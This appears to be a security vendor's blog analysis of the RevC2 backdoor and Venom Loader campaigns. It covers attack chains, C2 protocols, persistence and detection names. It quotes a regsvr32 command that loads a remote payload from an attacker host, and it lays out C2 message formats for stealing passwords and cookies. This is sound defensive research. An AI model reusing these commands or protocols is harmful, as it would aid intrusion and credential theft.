Unveiling RevC2 and Venom Loader

Introduction

Venom Spider, also known as GOLDEN CHICKENS, is a threat actor known for offering Malware-as-a-Service (MaaS) tools like VenomLNK, TerraLoader, TerraStealer, and TerraCryptor. These tools have been utilized by other threat groups such as FIN6 and Cobalt in the past. Recently, Zscaler ThreatLabz uncovered two significant campaigns leveraging Venom Spider's MaaS tools between August and October 2024. During our investigation, we identified two new malware families, which we named RevC2 and Venom Loader, that were deployed using Venom Spider MaaS Tools.

In this blog, we dissect the attack chain used in these campaigns and provide a comprehensive analysis of these new malware families. We delve into their core features, network communication protocols, and commands.

Key Takeaways 

• Between August and October 2024, ThreatLabz uncovered campaigns that leveraged two new malware families – RevC2 and Venom Loader.
• These two new malware families were deployed through Venom Spider malware-as-service (MaaS) tools.
• RevC2 uses WebSockets to communicate with its command-and-control (C2) server. The malware is capable of stealing cookies and passwords, proxies network traffic, and enables remote code execution (RCE).
• Venom Loader is a new malware loader that is customized for each victim, using the victim’s computer name to encode the payload.

Technical Analysis

The following sections are a technical analysis of the campaigns. The URLs and file names used in these campaigns vary with each sample. We analyzed a representative sample from each campaign.

Campaign 1: API documentation lure leads to RevC2 

The first campaign, occurring from August to September, uses an API documentation lure to deliver a malicious payload, RevC2. RevC2 is a backdoor with capabilities to steal sensitive data.

The figure below illustrates the attack chain that leads to the delivery of RevC2.

Figure 1: Attack chain of the first campaign delivering RevC2 as the payload. 

First stage: VenomLNK

Although the distribution method is currently unknown, the first stage of the attack begins with a VenomLNK file. This LNK file contains an obfuscated batch (BAT) script that when executed downloads a PNG image from hxxp://gdrive[.]rest:8080/api/API.png. The PNG image is an API documentation lure, as shown in the figure below.

Figure 2: API documentation lure used in the first campaign that leverages the RevC2.

The VenomLNK file executes the following command in the background to register an ActiveX control, triggering the execution of RevC2: 

wmic process call create "regsvr32 /s /i \\gdrive.rest@8080\api\AdvancedWin.ocx"

Second stage: RevC2

The second stage features RevC2, named after the Program Database (PDB) path observed in the binary: 

C:\Users\PC\Desktop\C2New\Rev\x64\Release\Rev.pdb

Upon execution, RevC2 retrieves the command-line and checks whether the first argument ends with dWin.ocx, matching the suffix of the filename. RevC2 then retrieves the path of the executable file for the current process and compares it to regsvr32.exe. The malicious software only executes if both checks pass, ensuring RevC2 is launched as part of the attack chain and not in analysis environments such as sandboxes.

RevC2 then retrieves the operating system’s local time and creates a log file in the format C:\ProgramData\boot_%YYYYMMDDTHHMMSS%.log. The log file stores internal messages generated by the malware during its execution.

An example of the log created by RevC2 is shown below:

[2024-11-14 17:21:38.530681]: Multipler : 1
[2024-11-14 17:22:01.546498]: Getting Passwords

RevC2 communication protocol

RevC2 uses WebSockets for C2 communication with the help of a C++ library, websocketpp. The C2 address is hardcoded in the binary. In the sample we examined, the address was ws://208.85.17[.]52:8082.

All data exchanged between the victim’s machine and the C2 server are JSON objects. 

• Victim’s machine to C2 server: This JSON object includes two properties: 
  1. The output being sent.
  2. The command_ID type of the output.

The format of this JSON object is: 

{"%output_name%": "%output_value%","type":"%command_ID%"} 

• C2 server to victim’s machine: This JSON object includes two properties:
  1. type: Contains a command_ID that tells the malware what actions to perform.
  2. command: Contains the command_parameter related to the action to be performed. In some cases, the command property is empty.

The format of this JSON object is: 

{"type":"%command_ID%","command":"%command_parameter%"}

The command_ID sent by RevC2 to the C2 server is not always the same as the command_ID sent by the C2 server to RevC2. In two cases (when executing shell commands and taking screenshots) the command_ID is different, as shown in Table 1 and Table 2.

Client registration

The first data sent to the server is related to registration. The data is a JSON object in the format {"name": "%computername%","type":"0005"}.

The figure below shows example network traffic between the victim’s machine and the C2 server.

Figure 3: Example network traffic between a system infected with RevC2 and the C2 server.

Commands supported

RevC2 registers a function handler, which processes the command_ID and command_parameter from the C2 server and performs the appropriate actions. The command_ID’s supported by RevC2 are described in the table below.

Table 1: Description of the commands supported by RevC2.

The data format for each RevC2 command_ID is listed in the table below.

{"passwords":"Application: %application%
Website: %website%
Login URL: %url%
User name: %username%
Password: %password%
","type":"000000"}.

{"cookies":"[
{
"Application":"%application%",
"domain": "%domain%",
"expirationDate": %exp_Date%,
"httpOnly": %http_only%,
"name": "%cookie_name%",
"path": "%path%",
"sameSite": "%samesite%",
"Secure": %secure%,
"url": "%url%",
"value": "%cookie_value%"
}
]", "type": "0009"}

Table 2: Data format for the command_ID’s supported by RevC2.

ThreatLabz created a Python script that emulates a RevC2 server. The script is available in our GitHub repository. The figure below shows example output of an emulated RevC2 server.

Figure 4: Python script emulating the RevC2 server.

Campaign 2: Crypto transaction lure leads to Venom Loader and Retdoor malware 

The second campaign, occurring from September to October, appears to be using a cryptocurrency transaction lure to deliver Venom Loader. Venom Loader then loads Retdoor, a JavaScript (JS) backdoor providing remote code execution (RCE) capabilities to the threat actor.

The figure below illustrates the attack chain for the second campaign delivering Retdoor.

Figure 5: Attack chain of the second campaign delivering Retdoor as the payload. 

First stage: VenomLNK

Although the method of distribution is currently unknown, the first stage of the attack begins with a VenomLNK file. The LNK file contains an obfuscated BAT script which writes a Visual Basic Script (VBS) script (run_bat.vbs) and a BAT script (bat2.bat) to the Windows temporary directory. VenomLNK first executes run_bat.vbs, which is used to execute bat2.bat. The bat2.bat file downloads an image of a cryptocurrency transaction as a lure and displays the image to the victim, as shown in the figure below.

Figure 6: Cryptocurrency transaction lure used in the second campaign that leverages Venom Spider tools.

In the background, the malware downloads base.zip from hxxp://170.75.168[.]151/%computername%/aaa. 

The BAT file then unzips base.zip, which contains ApplicationFrameHost.exe. From here, the BAT file executes ApplicationFrameHost.exe which sideloads a malicious DLL named dxgi.dll, leading to the execution of Venom Loader.

Second stage: Venom Loader

The Venom Loader DLL used in this campaign is custom built for each victim and is used to load the next stage. As mentioned before, base.zip, which contains Venom Loader, is downloaded from hxxp://170.75.168[.]151/%computername%/aaa. 

The %computername% value is an environment variable which contains the computer name of the system. Venom Loader uses %computername% as the hardcoded XOR key to encode the following stages.

In this instance, Venom Loader is used to load the Retdoor backdoor. Retdoor’s content is stored as plain text in Venom Loader. The content is XOR’ed with the %computername% and base64-encoded. The result of this is split into three chunks and written to disk with the file names text1, text2, and text3. 

After this, Venom Loader writes a PowerShell (PS) script to %APPDATA%\Adobe\merge.ps1, which is used to decode the chunks stored in text1, text2, and text3, and write it to %LOCALAPPDATA%\Microsoft\hello.js. Then hello.js is executed using cscript. 

Next, Venom Loader creates a VBS script named run_all.vbs in the %APPDATA%\Adobe directory. This script is designed to execute commands passed to it as command-line arguments. Then, run_all.vbs is used to run merge.ps1 leading to execution of Retdoor. Finally, Venom Loader establishes persistence for the Retdoor backdoor by adding merge.ps1 to the autorun registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under the name GoogleUpdate.

Third stage: Retdoor

Retdoor continuously sends HTTP POST requests in an infinite loop to <c2_address>/api/infos. The POST data is formatted as name=^%computername%&ret=. The name contains the victim’s computer name and the first request will have ret as an empty string. The output of the command to be executed is returned in the next request inside the ret parameter. The figure below shows the network traffic between a system infected with Retdoor malware and the C2 server.

Figure 7: Network traffic between a system infected with Retdoor and the C2 server.

The response of the request is JSON data in the format {"command": %command_encoded%}. The command_encoded is XOR’ed with %computername% and written to the Windows temporary directory as a .cmd file and executed.

Conclusion

ThreatLabz observed numerous campaigns utilizing RevC2 and Venom Loader. We believe these malware families used in these campaigns are early versions, and expect more features and anti-analysis techniques to be added in the future.

The Zscaler Cloud Sandbox has consistently detected these campaigns and other malware attacks with high accuracy. ThreatLabz continues to monitor and track these new malware families to protect our customers.

Zscaler Coverage 

Zscaler’s multilayered cloud security platform detects indicators related to RevC2 and Venom Loader at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for the campaign delivering Venom Loader and Retdoor.

Figure 8: Zscaler sandbox report for the campaign delivering Venom Loader and Retdoor.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to this campaigns at various levels with the following threat names: 

• LNK.Downloader.VenomLNK
• Win32.Backdoor.RevC2
• Win32.Downloader.VenomLoader

Indicators Of Compromise (IOCs) 

MITRE ATT&CK Techniques

Appendix

Visit our GitHub repository to access the Python script that emulates the RevC2's WebSocket server.